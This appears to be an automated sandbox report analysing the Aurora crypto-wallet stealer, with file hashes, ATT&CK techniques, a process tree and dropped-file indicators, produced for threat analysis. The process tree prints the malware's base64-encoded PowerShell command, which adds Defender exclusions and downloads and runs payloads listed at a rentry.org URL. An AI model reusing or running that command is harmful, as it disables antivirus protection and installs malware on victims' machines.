aurora | 34e038a53f367feda9eb1ffbf71ca6af8ac9ace7a34d86c43e1f197c8988057f

General

Target

Aurora.exe
Size

25.5MB
MD5

ee0a49caa656fe8693ffec78e69e864d
SHA1

dca409540b8c19a31e0748a17425835358a90e1b
SHA256

34e038a53f367feda9eb1ffbf71ca6af8ac9ace7a34d86c43e1f197c8988057f
SHA512

897be9ce27bec144b34cdfc4ef94cd95c2cb58a50e4679f9c3a2fa2df42c0a9dea80b4fcb7fb4fd037278cab427abaaae553e1939bff83868e15fffd3fdf3aa1
SSDEEP

98304:SlQKxQh+98myGsy1slENtrE7pQ8kq34vEStCAsDrP7J8yStyBCWLRV7VtC4bksxz:OQPY9mgGvkHEAsdtLRVRXgFqKQbEZxRO

Score

10^/10

aurora defense_evasion discovery stealer

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://rentry.org/xau9i/raw

Signatures

Aurora
Aurora is a crypto wallet stealer written in Golang.
stealer aurora
Aurora family
aurora

Blocklisted process makes network request 2 IoCs

flow	pid	Process
23	3028	powershell.exe
24	3028	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3032	LX.exe

Loads dropped DLL 1 IoCs

pid	Process
3044	Aurora.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Aurora.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3028	powershell.exe
3028	powershell.exe
3028	powershell.exe
1744	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3028	powershell.exe
Token: SeDebugPrivilege	1744	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3044 wrote to memory of 3032	3044	Aurora.exe	38
PID 3044 wrote to memory of 3032	3044	Aurora.exe	38
PID 3044 wrote to memory of 3032	3044	Aurora.exe	38
PID 3044 wrote to memory of 3032	3044	Aurora.exe	38
PID 3032 wrote to memory of 3028	3032	LX.exe	40
PID 3032 wrote to memory of 3028	3032	LX.exe	40
PID 3032 wrote to memory of 3028	3032	LX.exe	40
PID 3028 wrote to memory of 1744	3028	powershell.exe	42
PID 3028 wrote to memory of 1744	3028	powershell.exe	42
PID 3028 wrote to memory of 1744	3028	powershell.exe	42

C:\Users\Admin\AppData\Local\Temp\Aurora.exe
"C:\Users\Admin\AppData\Local\Temp\Aurora.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3044
- C:\Users\Admin\AppData\Local\Temp\LX.exe
  "C:\Users\Admin\AppData\Local\Temp\LX.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3032
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAZgBsACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGMAZgBnACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAHAAbQBtACMAPgA7ACIAOwA8ACMAcwBxAGwAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBiAGcAaQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwB0AGgAZwAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwBmAHgAYQAjAD4AOwAkAHcAYwAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQA7ACQAbABuAGsAIAA9ACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAbgB0AHIAeQAuAG8AcgBnAC8AeABhAHUAOQBpAC8AcgBhAHcAJwApAC4AUwBwAGwAaQB0ACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAiAGAAcgBgAG4AIgAsACAAWwBTAHQAcgBpAG4AZwBTAHAAbABpAHQATwBwAHQAaQBvAG4AcwBdADoAOgBOAG8AbgBlACkAOwAgACQAZgBuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFIAYQBuAGQAbwBtAEYAaQBsAGUATgBhAG0AZQAoACkAOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGwAbgBrAFsAJABpAF0ALAAgADwAIwBqAHoAdwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHcAbgBzACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGUAdQBpACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACkAIAB9ADwAIwBtAGIAZQAjAD4AOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB3AHkAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAegBiAGIAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACgAJABmAG4AIAArACAAJABpAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAnAC4AZQB4AGUAJwApACkAIAB9ACAAPAAjAGgAaQBsACMAPgA="
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3028
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-Type -AssemblyName System.Windows.Forms;<#cfg#>[System.Windows.Forms.MessageBox]::Show('','','OK','Error')<#pmm#>;
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1744

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3508 --field-trial-handle=1216,i,4419627903888553242,7711895793555730073,131072 /prefetch:8
1⤵
PID:2556

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --mojo-platform-channel-handle=3600 --field-trial-handle=1216,i,4419627903888553242,7711895793555730073,131072 /prefetch:1
1⤵
PID:888

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --mojo-platform-channel-handle=3524 --field-trial-handle=1216,i,4419627903888553242,7711895793555730073,131072 /prefetch:1
1⤵
PID:2592

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --mojo-platform-channel-handle=3884 --field-trial-handle=1216,i,4419627903888553242,7711895793555730073,131072 /prefetch:1
1⤵
PID:2844

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --mojo-platform-channel-handle=1984 --field-trial-handle=1216,i,4419627903888553242,7711895793555730073,131072 /prefetch:1
1⤵
PID:2712

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=1216,i,4419627903888553242,7711895793555730073,131072 /prefetch:8
1⤵
PID:2496

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=15 --mojo-platform-channel-handle=2460 --field-trial-handle=1216,i,4419627903888553242,7711895793555730073,131072 /prefetch:1
1⤵
PID:2808

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=16 --mojo-platform-channel-handle=2580 --field-trial-handle=1216,i,4419627903888553242,7711895793555730073,131072 /prefetch:1
1⤵
PID:2108

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --mojo-platform-channel-handle=3892 --field-trial-handle=1216,i,4419627903888553242,7711895793555730073,131072 /prefetch:1
1⤵
PID:2852

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --mojo-platform-channel-handle=3816 --field-trial-handle=1216,i,4419627903888553242,7711895793555730073,131072 /prefetch:1
1⤵
PID:3020

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=19 --mojo-platform-channel-handle=2440 --field-trial-handle=1216,i,4419627903888553242,7711895793555730073,131072 /prefetch:1
1⤵
PID:1520

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=20 --mojo-platform-channel-handle=2548 --field-trial-handle=1216,i,4419627903888553242,7711895793555730073,131072 /prefetch:1
1⤵
PID:2920

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=21 --mojo-platform-channel-handle=2484 --field-trial-handle=1216,i,4419627903888553242,7711895793555730073,131072 /prefetch:1
1⤵
PID:2200

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4012 --field-trial-handle=1216,i,4419627903888553242,7711895793555730073,131072 /prefetch:8
1⤵
PID:624

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=23 --mojo-platform-channel-handle=4236 --field-trial-handle=1216,i,4419627903888553242,7711895793555730073,131072 /prefetch:1
1⤵
PID:2808

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

1

T1027

Command Obfuscation

1

T1027.010

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\778A1C7P0YR6MOREMYS7.temp

Filesize
7KB

MD5
6244aa03239c445d19c9ab4da26c0910

SHA1
ca5ab475b22733c42ff2d4be34e13935638e6477

SHA256
5c89eff481ec287f2511a744f654fe01c2964655ac9efbbc4fb1e8bed07b5fbb

SHA512
8691ef997651bdad8449dd8c004a7d08f0c04b6c7a534a2e381bfd10f061031de7891d9c8873206b5ec3674d1a8331f3cedada6088f7a26b18585d04acba13b0

Download Submit
\Users\Admin\AppData\Local\Temp\LX.exe

Filesize
74KB

MD5
1ab3092297d1806397e8d3a6747a3271

SHA1
ea114a2e5ddee915d30458031ec5ced7f97d1650

SHA256
2aa5d3e3abdcd8d31a11b9e1ac3d2e4b4075261f2e324833da229e3736a3ee6e

SHA512
1ab9ea47bbeb22688ba8ebcdbad144b794aabd29f1d4b0bfc2554cc1e9b28325e31b07e252b96ccd3851e49f9cdf935ded702a1cf83c343d69e357e4734caf28

Download Submit
memory/3028-13-0x000000001B4A0000-0x000000001B782000-memory.dmp

Filesize
2.9MB

Download
memory/3028-14-0x0000000001E60000-0x0000000001E68000-memory.dmp

Filesize
32KB

Download
memory/3032-7-0x000007FEF39F3000-0x000007FEF39F4000-memory.dmp

Filesize
4KB

Download
memory/3032-8-0x0000000000FB0000-0x0000000000FC8000-memory.dmp

Filesize
96KB

Download
memory/3044-6-0x0000000000400000-0x0000000001D8A000-memory.dmp

Filesize
25.5MB

Download

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